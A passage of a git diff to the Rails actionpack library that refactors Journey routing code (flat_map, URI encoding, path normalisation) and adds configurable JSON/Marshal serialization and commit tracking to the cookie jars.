missing_keys = missing_keys(route, parameterized_parts)
next unless missing_keys.empty?
@@ -29,8 +33,8 @@ module ActionDispatch
return [route.format(parameterized_parts), params]
end
- message = "No route matches #{constraints.inspect}"
- message << " missing required keys: #{missing_keys.inspect}" if name
+ message = "No route matches #{Hash[constraints.sort].inspect}"
+ message << " missing required keys: #{missing_keys.sort.inspect}" if name
raise ActionController::UrlGenerationError, message
end
@@ -117,9 +121,9 @@ module ActionDispatch
def possibles(cache, options, depth = 0)
cache.fetch(:___routes) { [] } + options.find_all { |pair|
cache.key?(pair)
- }.map { |pair|
+ }.flat_map { |pair|
possibles(cache[pair], options, depth + 1)
- }.flatten(1)
+ }
end
# Returns +true+ if no missing keys are present, otherwise +false+.
diff --git a/actionpack/lib/action_dispatch/journey/gtg/builder.rb b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
index 7d2791714b..450588cda6 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/builder.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
@@ -27,7 +27,7 @@ module ActionDispatch
marked[s] = true # mark s
s.group_by { |state| symbol(state) }.each do |sym, ps|
- u = ps.map { |l| followpos(l) }.flatten
+ u = ps.flat_map { |l| followpos(l) }
next if u.empty?
if u.uniq == [DUMMY]
@@ -90,7 +90,7 @@ module ActionDispatch
firstpos(node.left)
end
when Nodes::Or
- node.children.map { |c| firstpos(c) }.flatten.uniq
+ node.children.flat_map { |c| firstpos(c) }.uniq
when Nodes::Unary
firstpos(node.left)
when Nodes::Terminal
@@ -105,7 +105,7 @@ module ActionDispatch
when Nodes::Star
firstpos(node.left)
when Nodes::Or
- node.children.map { |c| lastpos(c) }.flatten.uniq
+ node.children.flat_map { |c| lastpos(c) }.uniq
when Nodes::Cat
if nullable?(node.right)
lastpos(node.left) | lastpos(node.right)
diff --git a/actionpack/lib/action_dispatch/journey/gtg/simulator.rb b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
index 58ad803841..94b0a24344 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
@@ -19,6 +19,14 @@ module ActionDispatch
end
def simulate(string)
+ ms = memos(string) { return }
+ MatchData.new(ms)
+ end
+
+ alias :=~ :simulate
+ alias :match :simulate
+
+ def memos(string)
input = StringScanner.new(string)
state = [0]
while sym = input.scan(%r([/.?]|[^/.?]+))
@@ -29,15 +37,10 @@ module ActionDispatch
tt.accepting? s
}
- return if acceptance_states.empty?
+ return yield if acceptance_states.empty?
- memos = acceptance_states.map { |x| tt.memo(x) }.flatten.compact
-
- MatchData.new(memos)
+ acceptance_states.flat_map { |x| tt.memo(x) }.compact
end
-
- alias :=~ :simulate
- alias :match :simulate
end
end
end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
index da0cddd93c..990d2127ee 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
@@ -9,8 +9,8 @@ module ActionDispatch
attr_reader :memos
def initialize
- @regexp_states = Hash.new { |h,k| h[k] = {} }
- @string_states = Hash.new { |h,k| h[k] = {} }
+ @regexp_states = {}
+ @string_states = {}
@accepting = {}
@memos = Hash.new { |h,k| h[k] = [] }
end
@@ -40,12 +40,22 @@ module ActionDispatch
end
def move(t, a)
- move_string(t, a).concat(move_regexp(t, a))
- end
+ return [] if t.empty?
+
+ regexps = []
- def to_json
- require 'json'
+ t.map { |s|
+ if states = @regexp_states[s]
+ regexps.concat states.map { |re, v| re === a ? v : nil }
+ end
+ if states = @string_states[s]
+ states[a]
+ end
+ }.compact.concat regexps
+ end
+
+ def as_json(options = nil)
simple_regexp = Hash.new { |h,k| h[k] = {} }
@regexp_states.each do |from, hash|
@@ -54,11 +64,11 @@ module ActionDispatch
end
end
- JSON.dump({
+ {
regexp_states: simple_regexp,
string_states: @string_states,
accepting: @accepting
- })
+ }
end
def to_svg
@@ -111,44 +121,35 @@ module ActionDispatch
end
def []=(from, to, sym)
- case sym
- when String
- @string_states[from][sym] = to
- when Regexp
- @regexp_states[from][sym] = to
- else
- raise ArgumentError, 'unknown symbol: %s' % sym.class
- end
+ to_mappings = states_hash_for(sym)[from] ||= {}
+ to_mappings[sym] = to
end
def states
- ss = @string_states.keys + @string_states.values.map(&:values).flatten
- rs = @regexp_states.keys + @regexp_states.values.map(&:values).flatten
+ ss = @string_states.keys + @string_states.values.flat_map(&:values)
+ rs = @regexp_states.keys + @regexp_states.values.flat_map(&:values)
(ss + rs).uniq
end
def transitions
- @string_states.map { |from, hash|
+ @string_states.flat_map { |from, hash|
hash.map { |s, to| [from, s, to] }
- }.flatten(1) + @regexp_states.map { |from, hash|
+ } + @regexp_states.flat_map { |from, hash|
hash.map { |s, to| [from, s, to] }
- }.flatten(1)
+ }
end
private
- def move_regexp(t, a)
- return [] if t.empty?
-
- t.map { |s|
- @regexp_states[s].map { |re, v| re === a ? v : nil }
- }.flatten.compact.uniq
- end
-
- def move_string(t, a)
- return [] if t.empty?
-
- t.map { |s| @string_states[s][a] }.compact
+ def states_hash_for(sym)
+ case sym
+ when String
+ @string_states
+ when Regexp
+ @regexp_states
+ else
+ raise ArgumentError, 'unknown symbol: %s' % sym.class
+ end
end
end
end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/dot.rb b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
index 5c33a872e5..47bf76bdbf 100644
--- a/actionpack/lib/action_dispatch/journey/nfa/dot.rb
+++ b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
@@ -16,9 +16,9 @@ module ActionDispatch
# end
# " #{n.object_id} [label=\"#{label}\", shape=box];"
#}
- #memo_edges = memos.map { |k, memos|
+ #memo_edges = memos.flat_map { |k, memos|
# (memos || []).map { |v| " #{k} -> #{v.object_id};" }
- #}.flatten.uniq
+ #}.uniq
<<-eodot
digraph nfa {
diff --git a/actionpack/lib/action_dispatch/journey/nfa/simulator.rb b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
index 5b40da6569..b23270db3c 100644
--- a/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
+++ b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
@@ -34,7 +34,7 @@ module ActionDispatch
return if acceptance_states.empty?
- memos = acceptance_states.map { |x| tt.memo(x) }.flatten.compact
+ memos = acceptance_states.flat_map { |x| tt.memo(x) }.compact
MatchData.new(memos)
end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
index a3017aeea1..66e414213a 100644
--- a/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
+++ b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
@@ -42,7 +42,7 @@ module ActionDispatch
end
def states
- (@table.keys + @table.values.map(&:keys).flatten).uniq
+ (@table.keys + @table.values.flat_map(&:keys)).uniq
end
# Returns a generalized transition graph with reduced states. The states
@@ -93,7 +93,7 @@ module ActionDispatch
# Returns set of NFA states to which there is a transition on ast symbol
# +a+ from some state +s+ in +t+.
def following_states(t, a)
- Array(t).map { |s| inverted[s][a] }.flatten.uniq
+ Array(t).flat_map { |s| inverted[s][a] }.uniq
end
# Returns set of NFA states to which there is a transition on ast symbol
@@ -107,7 +107,7 @@ module ActionDispatch
end
def alphabet
- inverted.values.map(&:keys).flatten.compact.uniq.sort_by { |x| x.to_s }
+ inverted.values.flat_map(&:keys).compact.uniq.sort_by { |x| x.to_s }
end
# Returns a set of NFA states reachable from some NFA state +s+ in set
@@ -131,9 +131,9 @@ module ActionDispatch
end
def transitions
- @table.map { |to, hash|
+ @table.flat_map { |to, hash|
hash.map { |from, sym| [from, sym, to] }
- }.flatten(1)
+ }
end
private
diff --git a/actionpack/lib/action_dispatch/journey/parser.rb b/actionpack/lib/action_dispatch/journey/parser.rb
index bb4cbb00e2..430812fafe 100644
--- a/actionpack/lib/action_dispatch/journey/parser.rb
+++ b/actionpack/lib/action_dispatch/journey/parser.rb
@@ -1,7 +1,7 @@
#
# DO NOT MODIFY!!!!
# This file is automatically generated by Racc 1.4.9
-# from Racc grammer file "".
+# from Racc grammar file "".
#
require 'racc/parser.rb'
diff --git a/actionpack/lib/action_dispatch/journey/path/pattern.rb b/actionpack/lib/action_dispatch/journey/path/pattern.rb
index d37aa1fbe5..fb155e516f 100644
--- a/actionpack/lib/action_dispatch/journey/path/pattern.rb
+++ b/actionpack/lib/action_dispatch/journey/path/pattern.rb
@@ -53,9 +53,9 @@ module ActionDispatch
end
def optional_names
- @optional_names ||= spec.grep(Nodes::Group).map { |group|
+ @optional_names ||= spec.grep(Nodes::Group).flat_map { |group|
group.grep(Nodes::Symbol)
- }.flatten.map { |n| n.name }.uniq
+ }.map { |n| n.name }.uniq
end
class RegexpOffsets < Journey::Visitors::Visitor # :nodoc:
diff --git a/actionpack/lib/action_dispatch/journey/route.rb b/actionpack/lib/action_dispatch/journey/route.rb
index 50e1853094..2b399d3ee3 100644
--- a/actionpack/lib/action_dispatch/journey/route.rb
+++ b/actionpack/lib/action_dispatch/journey/route.rb
@@ -16,6 +16,14 @@ module ActionDispatch
@app = app
@path = path
+ # Unwrap any constraints so we can see what's inside for route generation.
+ # This allows the formatter to skip over any mounted applications or redirects
+ # that shouldn't be matched when using a url_for without a route name.
+ while app.is_a?(Routing::Mapper::Constraints) do
+ app = app.app
+ end
+ @dispatcher = app.is_a?(Routing::RouteSet::Dispatcher)
+
@constraints = constraints
@defaults = defaults
@required_defaults = nil
@@ -93,6 +101,14 @@ module ActionDispatch
end
end
+ def glob?
+ !path.spec.grep(Nodes::Star).empty?
+ end
+
+ def dispatcher?
+ @dispatcher
+ end
+
def matches?(request)
constraints.all? do |method, value|
next true unless request.respond_to?(method)
diff --git a/actionpack/lib/action_dispatch/journey/router.rb b/actionpack/lib/action_dispatch/journey/router.rb
index da32f1bfe7..36561c71a1 100644
--- a/actionpack/lib/action_dispatch/journey/router.rb
+++ b/actionpack/lib/action_dispatch/journey/router.rb
@@ -54,7 +54,7 @@ module ActionDispatch
end
def call(env)
- env['PATH_INFO'] = normalize_path(env['PATH_INFO'])
+ env['PATH_INFO'] = Utils.normalize_path(env['PATH_INFO'])
find_routes(env).each do |match, parameters, route|
script_name, path_info, set_params = env.values_at('SCRIPT_NAME',
@@ -103,12 +103,6 @@ module ActionDispatch
private
- def normalize_path(path)
- path = "/#{path}"
- path.squeeze!('/')
- path
- end
-
def partitioned_routes
routes.partitioned_routes
end
@@ -127,8 +121,7 @@ module ActionDispatch
def filter_routes(path)
return [] unless ast
- data = simulator.match(path)
- data ? data.memos : []
+ simulator.memos(path) { [] }
end
def find_routes env
diff --git a/actionpack/lib/action_dispatch/journey/router/utils.rb b/actionpack/lib/action_dispatch/journey/router/utils.rb
index 462f1a122d..ac4ecb1e65 100644
--- a/actionpack/lib/action_dispatch/journey/router/utils.rb
+++ b/actionpack/lib/action_dispatch/journey/router/utils.rb
@@ -1,5 +1,3 @@
-require 'uri'
-
module ActionDispatch
module Journey # :nodoc:
class Router # :nodoc:
@@ -7,46 +5,85 @@ module ActionDispatch
# Normalizes URI path.
#
# Strips off trailing slash and ensures there is a leading slash.
+ # Also converts downcase url encoded string to uppercase.
#
# normalize_path("/foo") # => "/foo"
# normalize_path("/foo/") # => "/foo"
# normalize_path("foo") # => "/foo"
# normalize_path("") # => "/"
+ # normalize_path("/%ab") # => "/%AB"
def self.normalize_path(path)
path = "/#{path}"
path.squeeze!('/')
path.sub!(%r{/+\Z}, '')
+ path.gsub!(/(%[a-f0-9]{2})/) { $1.upcase }
path = '/' if path == ''
path
end
# URI path and fragment escaping
# http://tools.ietf.org/html/rfc3986
- module UriEscape # :nodoc:
- # Symbol captures can generate multiple path segments, so include /.
- reserved_segment = '/'
- reserved_fragment = '/?'
- reserved_pchar = ':@&=+$,;%'
-
- safe_pchar = "#{URI::REGEXP::PATTERN::UNRESERVED}#{reserved_pchar}"
- safe_segment = "#{safe_pchar}#{reserved_segment}"
- safe_fragment = "#{safe_pchar}#{reserved_fragment}"
- UNSAFE_SEGMENT = Regexp.new("[^#{safe_segment}]", false).freeze
- UNSAFE_FRAGMENT = Regexp.new("[^#{safe_fragment}]", false).freeze
+ class UriEncoder # :nodoc:
+ ENCODE = "%%%02X".freeze
+ ENCODING = Encoding::US_ASCII
+ EMPTY = "".force_encoding(ENCODING).freeze
+ DEC2HEX = (0..255).to_a.map{ |i| ENCODE % i }.map{ |s| s.force_encoding(ENCODING) }
+
+ ALPHA = "a-zA-Z".freeze
+ DIGIT = "0-9".freeze
+ UNRESERVED = "#{ALPHA}#{DIGIT}\\-\\._~".freeze
+ SUB_DELIMS = "!\\$&'\\(\\)\\*\\+,;=".freeze
+
+ ESCAPED = /%[a-zA-Z0-9]{2}/.freeze
+
+ FRAGMENT = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/\?]/.freeze
+ SEGMENT = /[^#{UNRESERVED}#{SUB_DELIMS}:@]/.freeze
+ PATH = /[^#{UNRESERVED}#{SUB_DELIMS}:@\/]/.freeze
+
+ def escape_fragment(fragment)
+ escape(fragment, FRAGMENT)
+ end
+
+ def escape_path(path)
+ escape(path, PATH)
+ end
+
+ def escape_segment(segment)
+ escape(segment, SEGMENT)
+ end
+
+ def unescape_uri(uri)
+ uri.gsub(ESCAPED) { [$&[1, 2].hex].pack('C') }.force_encoding(uri.encoding)
+ end
+
+ protected
+ def escape(component, pattern)
+ component.gsub(pattern){ |unsafe| percent_encode(unsafe) }.force_encoding(ENCODING)
+ end
+
+ def percent_encode(unsafe)
+ safe = EMPTY.dup
+ unsafe.each_byte { |b| safe << DEC2HEX[b] }
+ safe
+ end
end
- Parser = URI.const_defined?(:Parser) ? URI::Parser.new : URI
+ ENCODER = UriEncoder.new
def self.escape_path(path)
- Parser.escape(path.to_s, UriEscape::UNSAFE_SEGMENT)
+ ENCODER.escape_path(path.to_s)
+ end
+
+ def self.escape_segment(segment)
+ ENCODER.escape_segment(segment.to_s)
end
def self.escape_fragment(fragment)
- Parser.escape(fragment.to_s, UriEscape::UNSAFE_FRAGMENT)
+ ENCODER.escape_fragment(fragment.to_s)
end
def self.unescape_uri(uri)
- Parser.unescape(uri)
+ ENCODER.unescape_uri(uri)
end
end
end
diff --git a/actionpack/lib/action_dispatch/journey/routes.rb b/actionpack/lib/action_dispatch/journey/routes.rb
index a99d6d0d6a..80e3818ccd 100644
--- a/actionpack/lib/action_dispatch/journey/routes.rb
+++ b/actionpack/lib/action_dispatch/journey/routes.rb
@@ -30,6 +30,7 @@ module ActionDispatch
def clear
routes.clear
+ named_routes.clear
end
def partitioned_routes
diff --git a/actionpack/lib/action_dispatch/journey/visitors.rb b/actionpack/lib/action_dispatch/journey/visitors.rb
index 2964d80d9f..d9f634623d 100644
--- a/actionpack/lib/action_dispatch/journey/visitors.rb
+++ b/actionpack/lib/action_dispatch/journey/visitors.rb
@@ -1,10 +1,13 @@
# encoding: utf-8
+
+require 'thread_safe'
+
module ActionDispatch
module Journey # :nodoc:
module Visitors # :nodoc:
class Visitor # :nodoc:
- DISPATCH_CACHE = Hash.new { |h,k|
- h[k] = "visit_#{k}"
+ DISPATCH_CACHE = ThreadSafe::Cache.new { |h,k|
+ h[k] = :"visit_#{k}"
}
def accept(node)
@@ -74,54 +77,86 @@ module ActionDispatch
end
end
- class OptimizedPath < String # :nodoc:
+ class OptimizedPath < Visitor # :nodoc:
+ def accept(node)
+ Array(visit(node))
+ end
+
private
- def visit_GROUP(node)
- ""
- end
+ def visit_CAT(node)
+ [visit(node.left), visit(node.right)].flatten
+ end
+
+ def visit_SYMBOL(node)
+ node.left[1..-1].to_sym
+ end
+
+ def visit_STAR(node)
+ visit(node.left)
+ end
+
+ def visit_GROUP(node)
+ []
+ end
+
+ %w{ LITERAL SLASH DOT }.each do |t|
+ class_eval %{ def visit_#{t}(n); n.left; end }, __FILE__, __LINE__
+ end
end
# Used for formatting urls (url_for)
class Formatter < Visitor # :nodoc:
- attr_reader :options, :consumed
+ attr_reader :options
def initialize(options)
@options = options
- @consumed = {}
end
private
-
- def visit_GROUP(node)
- if consumed == options
- nil
- else
- route = visit(node.left)
- route.include?("\0") ? nil : route
+ def escape_path(value)
+ Router::Utils.escape_path(value)
+ end
+
+ def escape_segment(value)
+ Router::Utils.escape_segment(value)
+ end
+
+ def visit(node, optional = false)
+ case node.type
+ when :LITERAL, :SLASH, :DOT
+ node.left
+ when :STAR
+ visit_STAR(node.left)
+ when :GROUP
+ visit(node.left, true)
+ when :CAT
+ visit_CAT(node, optional)
+ when :SYMBOL
+ visit_SYMBOL(node, node.to_sym)
end
end
- def terminal(node)
- node.left
- end
+ def visit_CAT(node, optional)
+ left = visit(node.left, optional)
+ right = visit(node.right, optional)
- def binary(node)
- [visit(node.left), visit(node.right)].join
+ if optional && !(right && left)
+ ""
+ else
+ [left, right].join
+ end
end
- def nary(node)
- node.children.map { |c| visit(c) }.join
+ def visit_STAR(node)
+ if value = options[node.to_sym]
+ escape_path(value)
+ end
end
- def visit_SYMBOL(node)
- key = node.to_sym
-
- if value = options[key]
- consumed[key] = value
- Router::Utils.escape_path(value)
- else
- "\0"
+ def visit_SYMBOL(node, name)
+ if value = options[name]
+ name == :controller ? escape_path(value) : escape_segment(value)
end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb
index 852f1cf6f5..baf9d5779e 100644
--- a/actionpack/lib/action_dispatch/middleware/callbacks.rb
+++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb
@@ -8,14 +8,14 @@ module ActionDispatch
class << self
delegate :to_prepare, :to_cleanup, :to => "ActionDispatch::Reloader"
- end
- def self.before(*args, &block)
- set_callback(:call, :before, *args, &block)
- end
+ def before(*args, &block)
+ set_callback(:call, :before, *args, &block)
+ end
- def self.after(*args, &block)
- set_callback(:call, :after, *args, &block)
+ def after(*args, &block)
+ set_callback(:call, :after, *args, &block)
+ end
end
def initialize(app)
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
index d055acb296..22b16b628d 100644
--- a/actionpack/lib/action_dispatch/middleware/cookies.rb
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -23,15 +23,15 @@ module ActionDispatch
# # This cookie will be deleted when the user's browser is closed.
# cookies[:user_name] = "david"
#
- # # Assign an array of values to a cookie.
- # cookies[:lat_lon] = [47.68, -122.37]
+ # # Cookie values are String based. Other data types need to be serialized.
+ # cookies[:lat_lon] = JSON.generate([47.68, -122.37])
#
# # Sets a cookie that expires in 1 hour.
# cookies[:login] = { value: "XJ-122", expires: 1.hour.from_now }
#
# # Sets a signed cookie, which prevents users from tampering with its value.
- # # The cookie is signed by your app's <tt>config.secret_key_base</tt> value.
- # # It can be read using the signed method <tt>cookies.signed[:name]</tt>
+ # # The cookie is signed by your app's `secrets.secret_key_base` value.
+ # # It can be read using the signed method `cookies.signed[:name]`
# cookies.signed[:user_id] = current_user.id
#
# # Sets a "permanent" cookie (which expires in 20 years from now).
@@ -42,10 +42,10 @@ module ActionDispatch
#
# Examples of reading:
#
- # cookies[:user_name] # => "david"
- # cookies.size # => 2
- # cookies[:lat_lon] # => [47.68, -122.37]
- # cookies.signed[:login] # => "XJ-122"
+ # cookies[:user_name] # => "david"
+ # cookies.size # => 2
+ # JSON.parse(cookies[:lat_lon]) # => [47.68, -122.37]
+ # cookies.signed[:login] # => "XJ-122"
#
# Example for deleting:
#
@@ -63,7 +63,7 @@ module ActionDispatch
#
# The option symbols for setting cookies are:
#
- # * <tt>:value</tt> - The cookie's value or list of values (as an array).
+ # * <tt>:value</tt> - The cookie's value.
# * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
# of the application.
# * <tt>:domain</tt> - The domain for which this cookie applies so you can
@@ -74,7 +74,7 @@ module ActionDispatch
#
# domain: nil # Does not sets cookie domain. (default)
# domain: :all # Allow the cookie for the top most level
- # domain and subdomains.
+ # # domain and subdomains.
#
# * <tt>:expires</tt> - The time at which this cookie expires, as a \Time object.
# * <tt>:secure</tt> - Whether this cookie is only transmitted to HTTPS servers.
@@ -89,6 +89,7 @@ module ActionDispatch
ENCRYPTED_SIGNED_COOKIE_SALT = "action_dispatch.encrypted_signed_cookie_salt".freeze
SECRET_TOKEN = "action_dispatch.secret_token".freeze
SECRET_KEY_BASE = "action_dispatch.secret_key_base".freeze
+ COOKIES_SERIALIZER = "action_dispatch.cookies_serializer".freeze
# Cookies can typically store 4096 bytes.
MAX_COOKIE_SIZE = 4096
@@ -117,10 +118,10 @@ module ActionDispatch
# the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
# cookie was tampered with by the user (or a 3rd party), nil will be returned.
#
- # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+ # If +secrets.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
# legacy cookies signed with the old key generator will be transparently upgraded.
#
- # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+ # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
#
# Example:
#
@@ -140,10 +141,10 @@ module ActionDispatch
# Returns a jar that'll automatically encrypt cookie values before sending them to the client and will decrypt them for read.
# If the cookie was tampered with by the user (or a 3rd party), nil will be returned.
#
- # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+ # If +secrets.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
# legacy cookies signed with the old key generator will be transparently upgraded.
#
- # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+ # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
#
# Example:
#
@@ -160,7 +161,7 @@ module ActionDispatch
end
end
- # Returns the +signed+ or +encrypted jar, preferring +encrypted+ if +secret_key_base+ is set.
+ # Returns the +signed+ or +encrypted+ jar, preferring +encrypted+ if +secret_key_base+ is set.
# Used by ActionDispatch::Session::CookieStore to avoid the need to introduce new cookie stores.
def signed_or_encrypted
@signed_or_encrypted ||=
@@ -175,12 +176,12 @@ module ActionDispatch
module VerifyAndUpgradeLegacySignedMessage
def initialize(*args)
super
- @legacy_verifier = ActiveSupport::MessageVerifier.new(@options[:secret_token])
+ @legacy_verifier = ActiveSupport::MessageVerifier.new(@options[:secret_token], serializer: NullSerializer)
end
def verify_and_upgrade_legacy_signed_message(name, signed_message)
- @legacy_verifier.verify(signed_message).tap do |value|
- self[name] = value
+ deserialize(name, @legacy_verifier.verify(signed_message)).tap do |value|
+ self[name] = { value: value }
end
rescue ActiveSupport::MessageVerifier::InvalidSignature
nil
@@ -210,7 +211,8 @@ module ActionDispatch
encrypted_signed_cookie_salt: env[ENCRYPTED_SIGNED_COOKIE_SALT] || '',
secret_token: env[SECRET_TOKEN],
secret_key_base: env[SECRET_KEY_BASE],
- upgrade_legacy_signed_cookies: env[SECRET_TOKEN].present? && env[SECRET_KEY_BASE].present?
+ upgrade_legacy_signed_cookies: env[SECRET_TOKEN].present? && env[SECRET_KEY_BASE].present?,
+ serializer: env[COOKIES_SERIALIZER]
}
end
@@ -235,6 +237,15 @@ module ActionDispatch
@secure = secure
@options = options
@cookies = {}
+ @committed = false
+ end
+
+ def committed?; @committed; end
+
+ def commit!
+ @committed = true
+ @set_cookies.freeze
+ @delete_cookies.freeze
end
def each(&block)
@@ -334,8 +345,8 @@ module ActionDispatch
end
def recycle! #:nodoc:
- @set_cookies.clear
- @delete_cookies.clear
+ @set_cookies = {}
+ @delete_cookies = {}
end
mattr_accessor :always_write_cookie
@@ -372,28 +383,89 @@ module ActionDispatch
end
end
+ class JsonSerializer
+ def self.load(value)
+ JSON.parse(value, quirks_mode: true)
+ end
+
+ def self.dump(value)
+ JSON.generate(value, quirks_mode: true)
+ end
+ end
+
+ # Passing the NullSerializer downstream to the Message{Encryptor,Verifier}
+ # allows us to handle the (de)serialization step within the cookie jar,
+ # which gives us the opportunity to detect and migrate legacy cookies.
+ class NullSerializer
+ def self.load(value)
+ value
+ end
+
+ def self.dump(value)
+ value
+ end
+ end
+
+ module SerializedCookieJars
+ MARSHAL_SIGNATURE = "\x04\x08".freeze
+
+ protected
+ def needs_migration?(value)
+ @options[:serializer] == :hybrid && value.start_with?(MARSHAL_SIGNATURE)
+ end
+
+ def serialize(name, value)
+ serializer.dump(value)
+ end
+
+ def deserialize(name, value)
+ if value
+ if needs_migration?(value)
+ Marshal.load(value).tap do |v|
+ self[name] = { value: v }
+ end
+ else
+ serializer.load(value)
+ end
+ end
+ end
+
+ def serializer
+ serializer = @options[:serializer] || :marshal
+ case serializer
+ when :marshal
+ Marshal
+ when :json, :hybrid
+ JsonSerializer
+ else
+ serializer
+ end
+ end
+ end
+
class SignedCookieJar #:nodoc:
include ChainedCookieJars
+ include SerializedCookieJars
def initialize(parent_jar, key_generator, options = {})
@parent_jar = parent_jar
@options = options
secret = key_generator.generate_key(@options[:signed_cookie_salt])
- @verifier = ActiveSupport::MessageVerifier.new(secret)
+ @verifier = ActiveSupport::MessageVerifier.new(secret, serializer: NullSerializer)
end
def [](name)
if signed_message = @parent_jar[name]
- verify(signed_message)
+ deserialize name, verify(signed_message)
end
end
def []=(name, options)
if options.is_a?(Hash)
options.symbolize_keys!
- options[:value] = @verifier.generate(options[:value])
+ options[:value] = @verifier.generate(serialize(name, options[:value]))
else
- options = { :value => @verifier.generate(options) }
+ options = { :value => @verifier.generate(serialize(name, options)) }
end
raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
@@ -409,7 +481,7 @@ module ActionDispatch
end
# UpgradeLegacySignedCookieJar is used instead of SignedCookieJar if
- # config.secret_token and config.secret_key_base are both set. It reads
+ # config.secret_token and secrets.secret_key_base are both set. It reads
# legacy cookies signed with the old dummy key generator and re-saves
# them using the new key generator to provide a smooth upgrade path.
class UpgradeLegacySignedCookieJar < SignedCookieJar #:nodoc:
@@ -417,17 +489,18 @@ module ActionDispatch
def [](name)
if signed_message = @parent_jar[name]
- verify(signed_message) || verify_and_upgrade_legacy_signed_message(name, signed_message)
+ deserialize(name, verify(signed_message)) || verify_and_upgrade_legacy_signed_message(name, signed_message)
end
end
end
class EncryptedCookieJar #:nodoc:
include ChainedCookieJars
+ include SerializedCookieJars
def initialize(parent_jar, key_generator, options = {})
if ActiveSupport::LegacyKeyGenerator === key_generator
- raise "You didn't set config.secret_key_base, which is required for this cookie jar. " +
+ raise "You didn't set secrets.secret_key_base, which is required for this cookie jar. " +
"Read the upgrade documentation to learn more about this new config option."
end
@@ -435,12 +508,12 @@ module ActionDispatch
@options = options
secret = key_generator.generate_key(@options[:encrypted_cookie_salt])
sign_secret = key_generator.generate_key(@options[:encrypted_signed_cookie_salt])
- @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+ @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: NullSerializer)
end
def [](name)
if encrypted_message = @parent_jar[name]
- decrypt_and_verify(encrypted_message)
+ deserialize name, decrypt_and_verify(encrypted_message)
end
end
@@ -450,7 +523,8 @@ module ActionDispatch
else
options = { :value => options }
end
- options[:value] = @encryptor.encrypt_and_sign(options[:value])
+
+ options[:value] = @encryptor.encrypt_and_sign(serialize(name, options[:value]))
raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
@parent_jar[name] = options
@@ -465,7 +539,7 @@ module ActionDispatch
end
# UpgradeLegacyEncryptedCookieJar is used by ActionDispatch::Session::CookieStore
- # instead of EncryptedCookieJar if config.secret_token and config.secret_key_base
+ # instead of EncryptedCookieJar if config.secret_token and secrets.secret_key_base
# are both set. It reads legacy cookies signed with the old dummy key generator and
# encrypts and re-saves them using the new key generator to provide a smooth upgrade path.
class UpgradeLegacyEncryptedCookieJar < EncryptedCookieJar #:nodoc:
@@ -473,7 +547,7 @@ module ActionDispatch
def [](name)
if encrypted_or_signed_message = @parent_jar[name]
- decrypt_and_verify(encrypted_or_signed_message) || verify_and_upgrade_legacy_signed_message(name, encrypted_or_signed_message)
+ deserialize(name, decrypt_and_verify(encrypted_or_signed_message)) || verify_and_upgrade_legacy_signed_message(name, encrypted_or_signed_message)
end
end
end
@@ -486,9 +560,11 @@ module ActionDispatch
status, headers, body = @app.call(env)
if cookie_jar = env['action_dispatch.cookies']
- cookie_jar.write(headers)
- if headers[HTTP_HEADER].respond_to?(:join)
- headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+ unless cookie_jar.committed?
+ cookie_jar.write(headers)
+ if headers[HTTP_HEADER].respond_to?(:join)
+ headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
index 64230ff1ae..0ca1a87645 100644
--- a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
@@ -34,27 +34,35 @@ module ActionDispatch
log_error(env, wrapper)
if env['action_dispatch.show_detailed_exceptions']
+ request = Request.new(env)
template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],
- :request => Request.new(env),
- :exception => wrapper.exception,
- :application_trace => wrapper.application_trace,
- :framework_trace => wrapper.framework_trace,
- :full_trace => wrapper.full_trace,
- :routes_inspector => routes_inspector(exception),
- :source_extract => wrapper.source_extract,
- :line_number => wrapper.line_number,
- :file => wrapper.file
+ request: request,
+ exception: wrapper.exception,
+ application_trace: wrapper.application_trace,
+ framework_trace: wrapper.framework_trace,
+ full_trace: wrapper.full_trace,
